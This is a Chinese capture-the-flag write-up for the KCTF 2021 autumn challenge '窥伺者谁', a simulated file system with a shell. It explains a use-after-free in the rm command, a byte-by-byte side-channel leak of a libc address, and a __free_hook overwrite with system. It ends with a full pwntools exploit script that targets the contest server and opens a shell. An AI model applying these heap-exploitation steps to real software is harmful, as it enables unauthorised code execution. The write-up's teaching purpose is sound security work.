-
-
[原创]KCTF2021秋季赛 窥伺者谁
-
2021-11-30 14:17 12488
-
[第六题 窥伺者谁]
程序大概就是模拟实现了一个文件系统,然后还提供了shell来管理
有ls,pwd,cd,mkdir,touth,echo,rm
这些功能可以使用
对于文件,有子节点,父节点,filename,文件内容等等属性,以0标识文件夹,1标识普通文件
恢复出的结构体大致如下:
1 2 3 4 5 6 7 8 | file struc ; (sizeof = 0xA8 , mappedto_8) 00000000 type dq ? 00000008 parent dq ? ; offset 00000010 child dq 16 dup(?) ; offset 00000090 filename dq ? 00000098 content dq ? 000000A0 size dq ? 000000A8 file ends |
漏洞点主要发生在以下这个地方:
在func_rm
中,此处free过后,并未将content
指针清0,也没有对该文件进行unlink
处理,因此content
堆块被free后仍然可以对其进行echo
和rm
,也就形成了uaf
那么触发条件呢?往上看,当该文件的上级目录不等于当前目录(cwd)时,就能触发这一漏洞,即rm("../file")
有了uaf,我们继续往下看
此时的我们并不知道任何地址,程序并未提供cat
功能,在能输出堆块内容的两个函数,pwd
和ls
中,都对输出的内容进行了检查,这使得貌似难以泄露堆块上的地址信息:
除此之外,程序全程都使用write
函数进行输出,打到stdout来泄露貌似也不太行
现在我还不知道官方的做法会是怎样,我的做法是通过类似侧信道的验证方式,来逐个字节爆破libc的地址信息
可以关注到rm
函数中:
如果我们把一个文件的filename
指针修改成一个写有libc地址信息的地方呢?
结果将是,此时的文件名虽然非法,但只要我们不去调用ls
,就不会触发check
,其他功能也仍然可以正常使用
那么思路就很清晰了:
1.创建一个file
,不要给这个file写入内容
2.将这个file
的filename
指针修改为指向libc地址信息,如指向某个unsorted bin
3.不断修改filename
指针,并通过多次rm("../payload")
的方式,从后往前逐个字节爆破libc地址信息
4.验证方式为,当结果错误时,会返回"no such file or dir\n"
的结果,当正确时,由于content
指针为空,所以相当于无事发生
5.libc地址的第一个字节大概率为"\x7f"
,而最后一个字节也确定,倒数第二个字节能确定一半,这样计算下来,最坏情况下爆破次数大概在1000次左右
6.得到libc地址之后就是正常思路了,利用uaf,把system
写到free_hook
这样的办法在本地是可以畅通无阻的,但是远端的情况就比较不如人意了,成功率很低
幸运的是多跑几次总算成功了,后面关注一下官方wp看看官方的做法
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | from pwn import * context.log_level = 'debug' local = 0 if local: sh = process( './pwn' ) else : sh = remote( "101.35.172.231" , 10000 ) libc = ELF( './libc.so.6' ) sa = lambda s,n : sh.sendafter(s,n) sla = lambda s,n : sh.sendlineafter(s,n) sl = lambda s : sh.sendline(s) sd = lambda s : sh.send(s) rc = lambda n : sh.recv(n) ru = lambda s : sh.recvuntil(s) ti = lambda : sh.interactive() leak = lambda name,addr :log.success(name + ":" + hex (addr)) def debug(): gdb.attach(sh) pause() def mkdir(dirname): sla( "$ " , "mkdir" ) sla( "name> " ,dirname) def touch(filename): sla( "$ " , "touch" ) sla( "filename> " ,filename) def cd(path): sla( "$ " , "cd" ) sla( "path> " ,path) def echo(path,content): sla( "$ " , "echo" ) sla( "arg> " ,content) sla( "redirect?> " , "y" ) sla( "path> " ,path) def rm(filename): sla( "$ " , "rm" ) sla( "filename> " ,filename) def touch(filename): sla( "$ " , "touch" ) sla( "filename> " ,filename) mkdir( "test1" ) touch( "file1" ) touch( "file2" ) touch( "file3" ) echo( "file2" , "a" * 0x60 ) echo( "file1" , "a" * 0x80 ) touch( "file4" ) echo( "file3" , 'a' * 0x420 ) touch( "file5" ) touch( "file6" ) touch( "file7" ) touch( "file8" ) touch( "file9" ) touch( "file10" ) touch( "file11" ) touch( "file12" ) cd( "test1" ) touch( "success1" ) touch( "success2" ) for i in range ( 8 ): rm( "../file1" ) cd( ".." ) echo( "file5" , 'a' ) echo( "file6" , 'a' ) echo( "file9" , 'a' * 0x40 ) cd( "test1" ) rm( "../file6" ) rm( "../file5" ) cd( ".." ) echo( "file5" , "\xf0\x0d" ) echo( "file7" , '\x00' * 0x80 ) echo( "file8" , "\x00" * 0x80 + "\xc5\x0d" ) cd( "test1" ) rm( "../file3" ) cd( ".." ) # echo("file11","\x0d") cd( "test1" ) # debug() addr = "\x7f" for i in range ( 4 ): cd( ".." ) echo( "file8" , "\x00" * 0x80 + p8( 0xc4 - i)) cd( "test1" ) j = 1 while (j< 256 ): if j = = 10 : j + = 1 continue payload = "../" + p8(j) + addr[:: - 1 ] rm(payload) data = ru( "ch3cke" ) if "no such" in data: j + = 1 continue else : addr + = p8(j) j = 257 print (addr) addr + = "\xa0" print ( len (addr)) main_arena = u64(addr[:: - 1 ].ljust( 8 , "\x00" )) leak( "main_arena" ,main_arena) libc_base = main_arena - 0x3ebca0 system = libc_base + libc.sym[ 'system' ] free_hook = libc_base + libc.sym[ '__free_hook' ] cd( ".." ) echo( "file10" , "a" * 0x30 ) echo( "file11" , "a" * 0x30 ) cd( "test1" ) rm( "../file10" ) rm( "../file11" ) cd( ".." ) echo( "file11" ,p64(free_hook)) cd( "test1" ) echo( "success1" , "/bin/sh\x00" .ljust( 0x30 , 'a' )) cd( ".." ) echo( "file12" ,p64(system).ljust( 0x30 , '\x00' )) cd( "test1" ) rm( "success1" ) ti() |
[招生]科锐逆向工程师培训46期预科班将于 2023年02月09日 正式开班